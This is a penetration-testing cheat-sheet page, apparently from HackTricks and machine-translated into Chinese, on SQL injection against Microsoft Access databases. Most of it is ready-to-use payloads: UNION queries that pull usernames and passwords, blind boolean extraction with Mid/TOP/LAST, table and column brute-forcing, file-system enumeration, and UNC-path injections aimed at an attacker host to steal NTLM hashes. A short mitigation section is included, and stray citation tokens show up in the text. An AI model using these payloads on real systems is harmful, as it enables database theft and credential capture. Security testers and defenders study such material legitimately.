hacktricks/src/pentesting-web/sql-injection/ms-access-sql-injection.md

211 lines
9.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MS Access SQL Injection
{{#include ../../banners/hacktricks-training.md}}
## 在线游乐场
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## 数据库限制
### 字符串连接
字符串连接可以使用 `& (%26)``+ (%2b)` 字符。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### 评论
在 MS Access 中没有评论,但显然可以通过 NULL 字符删除查询的最后部分:
```sql
1' union select 1,2 from table%00
```
如果这不起作用,您可以随时修复查询的语法:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
它们不被支持。
### LIMIT
**`LIMIT`** 操作符 **未实现**。然而,可以使用 **`TOP` 操作符** 将 SELECT 查询结果限制为 **前 N 行**`TOP` 接受一个整数作为参数,表示要返回的行数。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
就像 TOP 一样,你可以使用 **`LAST`** 来获取 **最后的行**
## UNION 查询/子查询
在 SQLi 中你通常会想以某种方式执行一个新查询以从其他表中提取信息。MS Access 总是要求在 **子查询或额外查询中指明 `FROM`**。\
因此,如果你想执行 `UNION SELECT``UNION ALL SELECT` 或在条件中使用括号中的 `SELECT`,你总是 **需要指明一个有效的表名的 `FROM`**。\
因此,你需要知道一个 **有效的表名**
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
> [!WARNING]
> 这将允许您在不需要知道表名的情况下提取当前表的值。
**MS Access** 允许 **奇怪的语法**,例如 **`'1'=2='3'='asd'=false`**。通常SQL 注入将位于 **`WHERE`** 子句中,我们可以利用这一点。
想象一下,您在 MS Access 数据库中有一个 SQLi并且您知道或猜测某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链式等号技术时Web 应用程序的不同响应,并可能使用 **`Mid`** 函数通过 **布尔注入** 提取内容。
```sql
'=(Mid(username,1,3)='adm')='
```
如果你知道 **表的名称****列** 以进行转储,你可以使用 `Mid``LAST``TOP` 的组合通过布尔 SQLi **泄露所有信息**
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
### 暴力破解表名
使用链式等号技术,您还可以**暴力破解表名**,例如:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
您还可以使用一种更传统的方法:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_随时可以在在线游乐场中检查此内容。_
- Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### 强行破解列名
您可以使用链式等号技巧**强行破解当前列名**
```sql
'=column_name='
```
或使用 **group by**
```sql
-1' GROUP BY column_name%00
```
您可以使用以下方法对**不同表**的列名进行暴力破解:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping data
我们已经讨论过 [**链式等号技术**](ms-access-sql-injection.md#chaining-equals-+-substring) **从当前和其他表中转储数据**。但还有其他方法:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
简而言之该查询使用“if-then”语句以便在成功时触发“200 OK”否则触发“500 Internal Error”。利用TOP 10运算符可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上使用MID运算符可以进行简单的字符比较。通过适当更改MID和TOP的索引我们可以转储所有行的“username”字段的内容。
### 基于时间的(盲)技巧
Jet/ACE SQL本身**不**暴露原生的`SLEEP()``WAITFOR`函数,因此传统的基于时间的盲注入受到限制。然而,您仍然可以通过强制引擎访问**慢或不响应的网络资源**来引入可测量的延迟。因为引擎会在返回结果之前尝试打开文件所以HTTP响应时间反映了到攻击者控制的主机的往返延迟。
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
将 UNC 路径指向:
* 一个位于高延迟链接后的 SMB 共享
* 一个在 `SYN-ACK` 后丢弃 TCP 握手的主机
* 一个防火墙 sinkhole
远程查找引入的额外秒数可以用作 **带外定时神谕** 来判断布尔条件(例如,仅在注入的谓词为真时选择慢路径)。微软在 KB5002984 中记录了远程数据库行为和相关的注册表杀开关。 citeturn1search0
### 其他有趣的函数
- `Mid('admin',1,1)` 从位置 1 获取长度为 1 的子字符串(初始位置为 1
- `LEN('1234')` 获取字符串长度
- `ASC('A')` 获取字符的 ASCII 值
- `CHR(65)` 从 ASCII 值获取字符串
- `IIF(1=1,'a','b')` 如果则
- `COUNT(*)` 计算项目数量
## 枚举表
从 [**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) 您可以看到获取表名的查询:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
然而,请注意,在**没有权限读取表 `MSysObjects`** 的情况下,发现 SQL 注入是非常典型的。
## 文件系统访问
### Web 根目录完整路径
**Web 根目录的绝对路径知识可能会促进进一步的攻击**。如果应用程序错误没有完全隐藏,可以通过尝试从一个不存在的数据库中选择数据来揭示目录路径。
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access 会返回一个**包含 Web 目录完整路径名的错误消息**。
### 文件枚举
以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在MS Access 会触发一条错误消息,告知数据库格式无效:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
另一种枚举文件的方法是**指定一个 database.table 项**。**如果**指定的**文件存在**MS Access 会显示一条**数据库格式错误消息**。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb 文件名猜测
**数据库文件名 (.mdb)** 可以通过以下查询推断:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
其中**name[i] 是一个 .mdb 文件名****realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。
### 远程数据库访问与 NTLM 凭证盗窃 (2023)
自 Jet 4.0 起,每个查询都可以通过 `IN '<path>'` 子句引用位于*不同* `.mdb/.accdb` 文件中的表:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
如果用户输入被连接到 **IN** 之后的部分(或连接到 `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` 调用),攻击者可以指定一个指向他们控制的主机的 **UNC 路径**。引擎将会:
1. 尝试通过 SMB / HTTP 进行身份验证以打开远程数据库;
2. 泄露 web 服务器的 **NTLM 凭据**(强制身份验证);
3. 解析远程文件 - 一个格式错误或恶意的数据库可以触发 Jet/ACE 内存损坏漏洞,这些漏洞已经被多次修补(例如 CVE-2021-28455
实际注入示例:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
影响:
* 通过带外方式提取 Net-NTLMv2 哈希(可用于中继或离线破解)。
* 如果利用新的 Jet/ACE 解析器漏洞,可能导致远程代码执行。
缓解措施(即使对于遗留的 Classic ASP 应用程序也推荐):
*`HKLM\Software\Microsoft\Jet\4.0\Engines` 下添加注册表值 `AllowQueryRemoteTables = 0`(以及在相应的 ACE 路径下)。这强制 Jet/ACE 拒绝以 `\\` 开头的远程路径。
* 在网络边界阻止出站 SMB/WebDAV。
* 清理/参数化可能出现在 `IN` 子句中的查询的任何部分。
Check Point Research 在 2023 年重新审视了强制身份验证向量,证明在缺少注册表键的情况下,它仍然可以在完全修补的 Windows Server 上被利用。 citeturn0search0
### .mdb 密码破解工具
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) 是一个免费的实用程序,可用于恢复 Microsoft Access 95/97/2000/XP 或 Jet 数据库引擎 3.0/4.0 的主数据库密码。
## 参考文献
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 配置 Jet/ACE 以阻止远程表](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research 滥用 Microsoft Access 连接表进行 NTLM 强制身份验证2023](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}